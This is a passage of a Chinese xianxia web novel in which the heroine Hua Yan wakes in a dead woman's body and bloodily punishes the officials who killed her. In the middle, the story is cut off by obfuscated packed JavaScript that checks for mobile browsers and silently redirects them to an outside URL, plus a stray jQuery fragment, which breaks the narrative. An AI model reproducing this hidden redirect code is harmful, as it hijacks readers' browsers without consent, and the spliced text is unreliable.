花焰当年虽因一些荒唐举动有了些名气,但大多数都是绯闻恶名。
所以天下人怎么也想不到,这样第一个无法无天,伤风败俗的女子,会在阴阳阵法祸世,天下动荡不安之时,为了拯救世人,只身入世,与那阵法同归于尽了......
如今花焰这名字说出来。
天下各路妖魔鬼怪,奇人修士都要沉默一刻。
妖魔满腹苦大仇深,尽生怨怼:嫉妒!嫉妒到发狂!
当年也不知她用了什么手段,闯入妖魔们的净土圣地无为关——寒食渊,成了它们心中至尊帝君——岑无妄的唯一弟子!就连二人恩断义绝后,他都还要护着花焰!
辛初国的阴阳家们可就扶额头疼,叹息一声:回来,只要您回来,我将奉您为唯一的神。
想当初花焰和国君卫立心情谊深厚,如同姐妹。如今国君为了从岑无妄手中夺回花焰的尸身,一遍遍地叫嚣挑衅岑无妄,他们便要一遍遍被这位至尊蹂躏。
即使卫立心从祸世阵法中,得到了可供天下人修炼的“阴阳道”。但若要从岑无妄身边抢到什么,亦只可算不自量力。所以硬抢不行,那卫立心也不要什么君王颜面了。
她甚至可以选择偷!
......
花焰感觉头痛欲裂,骨头缝中仿佛进了什么东西,正疯狂生长,快将她身体从内拉扯撑开。
“这件事跟她有什么关系?她非要跑进瘴气里找死!弄得半死不活的样子出来,显得好像是我们办事不力一样!呸!可真是个祸害,就会给我们找麻烦!”
男子声音平地炸开,猛地冲进花焰耳里,花焰不由皱起眉头,有些无奈:又是祸害?这么多年了,怎么我去哪里,这个词都要缠着我?
“现在人都被我们杀了,你还说这些有什么用!我们可把话口对齐了,是她欲意独占功劳,背着我们行动的时候碰到了什么阵法,这才命丧黄泉!我们只是来迟一步,只能给她收尸了!”另一人说话让人觉得浑浊粘腻,只是听两句便让花焰浑身不舒服。
“你都说了八百遍了,罗不罗嗦!”对面啧了他一声,道:“反正现在花焰的念珠在我们手上,就算我们偷不出她的尸身,拿这个回去复命也是功劳一件!呵,这贱人平常冷着个寡妇脸,看着就晦气,没想到运气倒是不错,这么个好东西被她给带出来了!”
他们左一句右一句的,才清醒片刻的花焰,不由陷入沉思。
他们在说什么啊?怎么自己一句也听不懂!
什么闯无为关?什么尸身?自己的念珠不是跟着自己一同化为灰烬,怎么还能被人抢来抢去?
花焰冥思苦想片刻后,突然意识到,目前最大的问题——我都化为灰烬了,怎么也出现在了这里......
直到一个苍老的声音出声才打断了花焰的纠结,他冷冷使唤道:“行了,你们赶紧把这个晦气家伙处理掉,免得夜长梦多!”
脚步声响,花焰察觉有人走到了自己面前。
花焰:......
你们说的寡妇脸、要处理的晦气家伙,不会是我吧?
突然之间,自己的衣领被人抓着,将她向前拖拽。
花焰了然:确实是我了。
她凝神聚力,一把握紧面前人的手腕,缓缓睁开了双眼,与面前男子对视上时,似鬼似魅轻笑道:“什么狗胆包天的东西,敢同我动手动脚?”
花焰纤手极凉,明明只是握住了他的手腕,却仿佛一块深冬寒冰贴到了他的胸口,冷得他心脏骤停,直接瘫倒在地,脸上血色也完全褪尽。
“就这胆子?丢人现眼。”花焰嫌弃的拍了拍被他抓皱衣领,打量着快吓尿裤子的人,一身黑袍不像日常普通人的着装,上面绣着的纹路倒像是什么官服。
但至于是哪一国的官,花焰可就看不出来了,她只希望别是那个国家的就好......花焰心中正一片惆怅,突然感觉背被什么东西硌得生疼,转头一看,发现自己正靠在一块石碑之上,而碑面赫然用朱砂写着“识缘峰”三个字。
花焰倒吸一口凉气,震惊道:怎么来到无为关门口了!!这里那位,我可是更怕见到啊!!!
花焰撑地连忙起身,视线悠悠环顾四周,见不远处还有两张惊慌失措的脸,也是与地上这人穿着同样的衣服。
花焰死心道:完了,八成真的她派来的人了。可她派人来无为关是要惹什么乱子呢?
花焰内心抓狂,自言自语道:“和你们究竟是什么冤孽,一睁眼就给我出难题!我死得挺舒服的,谁允许你们把我叫回来!”
“迟,迟焰道君,您可没事吧。”三人中的一位老者率先从惊恐中定下心神,小心翼翼靠近面目狰狞,胡言乱语中的花焰,假笑得皱纹堆在脸上,悄悄试探道:“我们方才见道君晕倒在这里,赶紧上前帮忙,还以为您出什么事了,可吓坏我们了!不知道君现在感觉怎么样了?晕倒前的事情可还记得?”
“迟焰?我叫迟焰?”
花焰朝着通红的天空举起右手,黄昏下那双纤细葱白的手多了份血色。美则美矣,可花焰一眼便知,这不是自己的身体。
花焰轻佻眉梢,心道:不错,不枉我被叫祸害那么些年。
果然,祸害遗千年。
“她是不是失忆了?”瘫倒在地那人已经怕了起来,走到老者身旁有几分欣喜道:“那我们的事情,是不是可以瞒过去了?”
他这话一出倒是提醒了花焰,她能借尸还魂,自然是因为这副身体的主人死了。而她究竟为何而死,相比与面前几人关系很大了。
花焰思索着走到他们面前,抬头扫了一圈,凌厉道:“我的念珠在你们那里对吧?还来。”
三人面色一变,气氛顿时变得凝重。
“你的念珠?在谁的手里才是谁的东西!方才还想跟我们装失忆蒙混过关呢,真是心机重的女人!我呸,痴心妄想!”最旁边的男子身材高圆,像座小山般醒目,他向地上吐了口口水,粗声红着脸道:“你们怂什么!难不成还怕她一个半死不活的家伙?人我们已经杀过一次,只有你死我活一条路了,大家一起动手啊!你们还有什么好犹豫的?”
老者眼神犹豫,道:“可是国君还在附近......”
“国君在又怎么了!她眼下忙着对付岑无妄呢,只要我们不说,国君又不知道她是怎么死的!你们能不能果断一些!我看就是你们在女人手底下待久了,也开始变得婆婆妈妈起来!你们还有没有点男子气概?”
那位被吓瘫在地的男子听完脸色一僵,看了眼巨石,又瞪着花焰提声道:“谁没男子气概了!要动手就赶紧的!别等遇上岑无妄回来,那我们可彻底完了!”
听到岑无妄三个字,他们三人也若有所思,老者叹息一声,摇摇头,摆手道:“行,那一切我都当不知道。你们动手便是。”
花焰一动不动听着他们谈论,不由觉得好笑:“你们倒是挺会高看自己。识缘峰是无为关第一道关卡,可到这里半天,连这里的门槛都不敢碰。而且唯一拿到的法器,还是从我手里抢过去的,我拿回来不是天经地义吗?反而你们一事无成,又自以为是,这样的气概,我吹两口气就散尽了,别出来惹人恶心,简直丢了你们这身衣服的脸。”
对面几个听得一愣,那个瘫倒之人最先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207145|150991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气急败坏道:“我呸!我们拿你东西是看得起你!更何况什么你的我的,谁能将法器送到国君面前,那才是谁的!反正你是没有这个命了!”
山丘依然粗脖红脸,紧张道:“别同她浪费口舌,我看她是想拖延时间,好趁机恢复灵力!我们结个燃焰阵,活烧了她了事!”
他们二人相视一眼,从怀中抛出数张符咒,漫天黄纸随风飘至花焰头顶,宛如为亡人践行的纸钱。刹那间,符纸自燃升出火焰,燃断的火球垂直向下掉落就要砸到花焰身上。
花焰抬头扫去,火光在瞳孔中倒影出一场淅淅沥沥的流星雨,她眼底轻蔑,嗤笑一声:“阵心不稳,阵眼未开,就这还敢到我面前叫嚣?我看你们还是变戏法去吧,蠢东西们。”
话音刚落,一道冷光划破风声,漫天的符纸被拦腰斩断,最后只剩一缕青烟。哀嚎声响彻长空。正是高矮两人发出,只见他们正跪在地上痛苦哀叫,四只手掌断肢在地,鲜血从他们手腕断口处流水般流落,在微陷的地面里积了一块血洼出来。
老者抬手见自己双手完好,只是肚皮发凉,瞪大双眼缓缓低头看去,只见自己衣裳从肩到腰,被一刀划破,袒露的肚皮上有一道长长的血痕,止不住地往外渗血,很快连成一道血幕。
“可惜了,只有片烂树叶,没能让你看到自己腹中脏器一地的景象,算我招待不周了吧。”
老者闻声抬头,花焰嘴角含笑看着他,心底一阵发凉,只见她右手指尖缠绕着的,不正是被他藏在怀中的念珠吗?
“你,你怎么没事?”老者惊呼问道。
“自然是因为我不是迟焰。”花焰嫣然一笑,晃了晃手上的念珠,道:“抢走我的东西,又想偷我的尸身,可连我是谁都不知道?那你们死得确实不冤。”
老者闻言瞪大双眼,半天才惶恐道:“所以你是,花、花焰!?”
眼看花焰黑色素净的靴子正一步一步走向自己,他无暇思索这话是真是假,腿一软直直跪下,双手合十道:“不是我的主意!都是他们狗胆包天,趁您身体虚弱的时候动的手!哦不,花焰大人!没想到惊扰到您,您消消气,是我们恶心,是我们不知好歹,我不敢碍您眼,我放心我这就滚蛋!”
“别着急跑。”花焰在他面前停了下来,勾着嘴角,笑得让老者出了一身冷汗,只听她道:“你们方才嘴里的国君,可是卫立心?她好端端地来无为关做什么,岑无妄可有把她怎么样?”
老者没听出花焰言语的紧张,突然反应过来什么,离开喜笑颜开,拖着膝盖离花焰近了些,道:“对,国君!是国君!我们与花焰大人是一家人啊!我们的国君确实是卫立心,是她让我们来救您出去的!想当初您舍身救世,那是何等慷慨壮举,可惜尸身被岑无妄夺走,国君不愿你落入妖魔之手,无时无刻不想着救您出去啊!而我们就是辛初国的阴阳家,我们是来救您的!”
“什么尸不尸身的!一个破尸体有什么好抢的!我看他们两个真是脑子有病,天下太平后就闲的没别的事做了是吧?”
老者油滑惯了,一时间也不知道该回答是或不是,只好一个劲地尬笑,应和道:“这,这,国君也是真心待你。”
“你懂什么真心!”花焰冷眼看他,又问:“他们人现在在哪里?”
想当初她和岑无妄闹到恩断义绝的地步,不也是因为她非要护着卫立心吗?
如今没有自己从中周旋,谁知道她们会将场面闹成什么样子。
“我在这。你找我?”
男子低沉阴冷的声音一响,花焰瞳孔骤然一缩,回神那刻小心翼翼将念珠藏至袖口,回头果然看到那张熟悉的脸。